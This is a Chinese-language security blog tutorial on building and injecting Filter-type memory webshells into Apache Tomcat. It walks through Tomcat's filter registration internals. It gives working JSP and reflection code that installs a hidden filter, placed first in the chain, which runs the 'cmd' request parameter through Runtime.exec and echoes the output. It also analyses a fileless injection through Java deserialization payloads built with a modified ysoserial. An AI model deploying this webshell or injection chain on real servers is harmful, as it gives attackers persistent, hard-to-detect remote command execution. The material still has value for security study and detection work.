Filter型MemShell
前言
Filter
我们称之为过滤器,是 Java
中最常见也最实用的技术之一,通常被用来处理静态 web
资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter
对用户请求进行预处理,再交给 Servlet
。
通常情况下,Filter
配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
- 使用
ServletContext
的addFilter
/createFilter
方法注册; - 使用
ServletContextListener
的contextInitialized
方法在服务器启动时注册(将会在Listener
中进行描述); - 使用
ServletContainerInitializer
的onStartup
方法在初始化时注册(非动态,后面会描述)。
filter相关变量
filterMaps
:存放FilterMap
的数组,在FilterMap
中主要存放了FilterName
和对应的URLPattern
filterDefs
:存放FilterDef
的数组 ,FilterDef
中存储着我们过滤器名,过滤器实例等基本信息filterConfigs
:存放filterConfig
的数组,在FilterConfig
中主要存放FilterDef
和Filter
对象等信息ApplicationFilterChain
:调用过滤器链ApplicationFilterConfig
:获取过滤器ApplicationFilterFactory
:组装过滤器链WebXml
:存放web.xml
中内容的类ContextConfig
:Web
应用的上下文配置类StandardContext
:Context
接口的标准实现类,一个Context
代表一个Web
应用,其下可以包含多个Wrapper
StandardWrapperValve
:一个Wrapper
的标准实现类,一个Wrapper
代表一个Servlet
思路
本节只讨论使用 ServletContext
添加 Filter
内存马的方法。
首先来看一下 createFilter
方法,这个方法用来调用 addFilter
向 ServletContext
实例化一个指定的 Filter
类。
这个方法还约定了一个事情,那就是如果这个 ServletContext
传递给 ServletContextListener
的 ServletContextListener.contextInitialized
方法,该方法既未在 web.xml
或 web-fragment.xml
中声明,也未使用 javax.servlet.annotation.WebListener
进行注释,则会抛出 UnsupportedOperationException
异常
接下来看 addFilter
方法,ServletContext
中有三个重载方法,分别接收字符串类型的 filterName
以及 className
字符串/Filter
对象/Filter
子类的 Class
对象三者之一,提供不同场景下添加 filter
的功能,这些方法均返回 FilterRegistration.Dynamic
实际上就是 FilterRegistration
对象。
1 | javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2); |
addFilter
方法实际上就是动态添加 filter
的最核心和关键的方法,但是这个方法中同样约定了 UnsupportedOperationException
异常。
由于 Servlet API
只是提供接口定义,具体的实现还要看具体的容器,那我们首先以 Tomcat 8.5.76
为例,看一下具体的实现细节。相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter
中
可以看到,这个方法创建了一个 FilterDef
对象,将 filterName
、filterClass
、filter
对象初始化进去,使用 StandardContext
的 addFilterDef
方法将创建的 FilterDef
储存在了 StandardContext
中的一个名为 filterDefs
的 Hashmap
中,然后 new
了一个 ApplicationFilterRegistration
对象并且返回,并没有将这个 Filter
放到 FilterChain
中,单纯调用这个方法不会完成自定义 Filter
的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter
。
这时我们肯定要想,能不能直接操纵 FilterChain
呢?可以。FilterChain
在 Tomcat
中的实现是 org.apache.catalina.core.ApplicationFilterChain
,这个类提供了一个 addFilter
方法添加 Filter
,这个方法接受一个 ApplicationFilterConfig
对象,将其放在 this.filters
中。但是没用,因为对于每次请求需要执行的 FilterChain
都是动态取得的。
那 Tomcat
是如何处理一次请求对应的 FilterChain
的呢?在 ApplicationFilterFactory
的 createFilterChain
方法中,可以看到流程如下:
- 在
context
中获取filterMaps
,并遍历匹配url
地址和请求是否匹配; - 如果匹配则在
context
中根据filterMaps
中的filterName
查找对应的filterConfig
; - 如果获取到
filterConfig
,则将其加入到filterChain
中 - 后续将会循环
filterChain
中的全部filterConfig
,通过getFilter
方法获取Filter
并执行Filter
的doFilter
方法。
通过上述流程可以知道,每次请求的 FilterChain
是动态匹配获取和生成的,如果想添加一个 Filter
,需要在 StandardContext
中 filterMaps
中添加 FilterMap
,在 filterConfigs
中添加 ApplicationFilterConfig
。这样程序创建时就可以找到添加的 Filter
了。
在之前的 ApplicationContext
的 addFilter
中将 filter
初始化存在了 StandardContext
的 filterDefs
中,那后面又是如何添加在其他参数中的呢?
在 StandardContext
的 filterStart
方法中生成了 filterConfigs
。
在 ApplicationFilterRegistration
的 addMappingForUrlPatterns
中生成了 filterMaps
。
filter
调用流程:
- 根据请求的
URL
从FilterMaps
中找出与之URL
对应的Filter
名称 - 根据
Filter
名称去FilterConfigs
中寻找对应名称的FilterConfig
- 找到对应的
FilterConfig
之后添加到FilterChain
中,并且返回FilterChain
filterChain
中调用internalDoFilter
遍历获取chain
中的FilterConfig
,然后从FilterConfig
中获取Filter
,然后调用Filter
的doFilter
方法
了解了上述流程后,在应用程序中动态的添加一个 filter
的思路就清晰了:
- 反射获得
Configs
,继而获得filterConfigs
- 创建
filterDef
,通过反射写入filterName
、filterClass
、filter
- 调用
ApplicationContext
的addFilterDef
方法将filterDef
储存在了StandardContext
的filterDefs
中; - 创建
filterMap
对象,通过反射写入URLPattern
、FilterName
、Dispatcher
- 调用
StandardContext
的addFilterMapBefore
直接加在filterMaps
的第一位。 - 反射创建
FilterConfig
,传入standardContext
与filterDef
两个参数进行实例化 - 将
filter
名和配置好的filterConifg
传入filterConfigs
Filter型内存马
- 是动态注册一个
filter
,动态注册,没有实体,重启消失 - 要放在所有
filter
前,避免被其他filter
干扰 - 在
Tomcat
中org.apache.catalina.core.ApplicationContext
中包含一个ServletContext
接口的实现,所以需要import
这个库,最后我们用到它获取Context
1 | <%@ page import = "org.apache.catalina.core.ApplicationContext" %> |
在tomcat
不同版本需要通过不同的库引入FilterMap
和FilterDef
1 | <!-- tomcat 7 --> |
1 | <!-- tomcat 8/9 --> |
filter型内存马的实现
filter部分
先通过一个简单的filter
来看一下结构
1 | package filter; |
init()
方法:初始化参数,在创建Filter
时自动调用,当我们需要设置初始化参数的时候,可以写到该方法中。doFilter()
方法:拦截到要执行的请求时,doFilter
就会执行。这里面写我们对请求和响应的预处理destory()
方法:在销毁Filter
时自动调用
对我们来说,init
和destory
不需要做什么,只需要写一个doFilter
方法拦截需要的请求,将其参数用于Runtime.getRuntime().exec()
做命令执行,并将返回的数据打印到Response
中即可,如下例:
1 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { |
动态注册部分
接下来是要将刚刚写好的doFilter
注入到内存中
根据Tomcat
注册Filter
的操作,可以大概得到如何动态添加一个Filter
- 获取
standardContext
- 创建
Filter
- 创建
filterDef
封装Filter
对象,将filterDef
添加到filterDefs
- 创建
filterMap
,将URL
和filter
进行绑定,添加到filterMaps
中 - 使用
ApplicationFilterConfig
封装filterDef
对象,添加到filterConfigs
中
完整代码主要参照了nice_0e3
师傅的文章,在最后结果输出的时候要注意如果有两次response
结果需要将第一次的Writer flush
掉,避免在后台报错
1 | Field Configs = null; |
Leticia
师傅的Filter
动态注册部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49 //从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判断是否存在filterDemo这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
完整内存马
完整Tomcact.Filter内存马
最终jsp
文件,只需传到tomcat
目录并访问一次,然后再访问其jsp
文件../xyz?cmd=whoami
即可Leticia
师傅的Filter
完整内存马
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
反序列化的《基于tomcat的内存 Webshell 无文件攻击技术》分析
这篇文章是三梦师傅写的,是通过反序列化攻击,生成无文件的Filter
类型的内存马。
三梦是师傅说无法通杀shiro
,也有人说使用6
及其以下的tomcat
的场景下,payload
会报错
我对其中的流程进行梳理和分析一下。
0x01 为了回显:tomcat获取通用的request和response
根据kingkk
师傅所述,我们寻找的request
和response
需要满足以下几点:
- 为了通用性,我们只应该寻找
tomcat
部分的代码,和Spring
相关的就可以不用看了。 - 记录的变量不应该是一个全局变量,而应该是一个
ThreadLocal
,这样才能获取到当前线程的请求信息。 - 而且最好是一个
static
静态变量,否则我们还需要去获取那个变量所在的实例
kingkk
师傅找到了org.apache.catalina.core.ApplicationFilterChain
类
而且很巧的是,刚好在处理我们Controller
逻辑之前,有记录request
和response
的动作。
虽然if
条件是false
,但是我们可以通过反射进行修改。
这部分在ApplicationFilterChain
类的internalDoFilter
方法中
这样,回显部分的整体思路大概就是
- 反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
为true
,让代码逻辑走到if
条件里面 - 初始化
lastServicedRequest
和lastServicedResponse
两个变量,默认为null
- 从
lastServicedResponse
中获取当前请求response
,并且回显内容。
但是,也存在一点小限制,在其set
之前,if
语句中先执行完所有的Filter
了。filter.doFilter(request, response, this)
因此,对于shiro
的反序列化利用就没办法通过这种方式取到response
回显了。
0x02 动态注册Filter
这部分是要动态注册一个Filter
,并且把其放到最前面。
这样,我们的Filter
就能最先执行了,并且也成为了一个内存Webshell
了。
要实现动态注册Filter
,需要两个步骤。
- 第一步:是先达到能获取
request
和response
, - 第二步:是通过
request
或者response
去动态注册Filter
第一步: WRAP_SAME_OBJECT 值为 true
下文的TomcatEchoInject.java
实现了获得request
、response
(其实就是修改 WRAP_SAME_OBJECT
值为 true
)CCnoArrayForEcho.java
实现了将其修改为字节数组生成payload
其中,TomcatEchoInject.java
类中,我们创建一个继承AbstractTranslet
(因为需要携带恶意字节码到服务端加载执行)的TomcatEchoInject
类,在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
为true
,并且对lastServicedRequest
和lastServicedResponse
这两个ThreadLocal
进行初始化。
第二步: 动态注册Filter到tomcat
在使用步骤一生成的序列化数据进行反序列化攻击后,我们就能通过下面这段代码获取到request
和response
对象了
1 | java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); |
接着,我们要做的就是动态注册Filter
到tomcat
中
这里可以通过ServletContext
对象(实际获取的是ApplicationContext
,是ServletContext
的实现,因为门面模式的使用,后面需要提取实际实现),实现了动态注册Filter
问题一
但是要注意:在addFilter
方法中,因为this.context.getState()
在运行时返回的state
已经是LifecycleState.STARTED
了,所以直接就抛异常了,filter
根本就添加不进去。
不过问题不大,因为this.context.getState()
获取的是ServletContext
实现对象的context
字段,从其中获取出state
,那么,我们在其添加filter
前,通过反射设置成LifecycleState.STARTING_PREP
,在其顺利添加完成后,再把其恢复成LifecycleState.STARTE
,这里必须要恢复,要不然会造成服务不可用。
其实上面的反射设置state
值,也可以不做,因为我们看代码中,只是执行了this.context.addFilterDef(filterDef)
,我们完全也可以通过反射context
这个字段自行添加filterDef
。
在实际执行栈中,实际filter
的创建是在org.apache.catalina.core.StandardWrapperValve#invoke
执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
的地方
问题二(有两个小问题)
跟进其实现方法,忽略不重要的代码:
1 | ... |
可以看到,从context
提取了FilterMap
数组,并且遍历添加到filterChain
,最终生效,但是这里有两个问题:
- 我们最早创建的
filter
被封装成FilterDef
添加到了context
的filterDefs
中,但是filterMaps
中并不存在 - 跟上述一样的问题,也不存在
filterConfigs
中(context.findFilterConfig
是从context
的filterConfigs
中获取)
解决:
第一个小问题,其实在下面代码执行filterRegistration.addMappingForUrlPatterns
的时候已经添加进去了
1 | javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am); |
1 | //源代码 |
第二个小问题,既然没有,我们就反射加进去就行了,不过且先看看StandardContext
,它有一个方法filterStart
1 | public boolean filterStart() { |
没错,它遍历了filterDefs
,一个个实例化成ApplicationFilterConfig
添加到filterConfigs
了。
问题三(优化)
这两个问题解决了,是不是就完成了呢,其实还没有,还差一个优化的地方,因为我们想要把filter
放到最前面,在所有filter
前执行,从而解决shiro
漏洞的问题。
也简单,我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
的代码:
1 | // Add the relevant path-mapped filters to this filter chain |
创建的顺序是根据filterMaps
的顺序来的,那么我们就有必要去修改我们添加的filter
顺序到第一位了
文件TomcatShellInject.java
是整个第二步的实现。和第一个步骤创建的TomcatEchoInject
不一样,这里我们不但继承(extends
)了AbstractTranslet
,还实现(implements
)了Filter
创建一个我们自定义的内存Webshell
,然后再通过字节数组的方式生成payload
,在第一个payload
打进去之后再打这里生成的payload
就可以
三梦师傅改写了ysoserial的源码,我学着改写之后也改写了普通实现的文件并在之前的ctf
赛题ezjava
的场景下打入成功。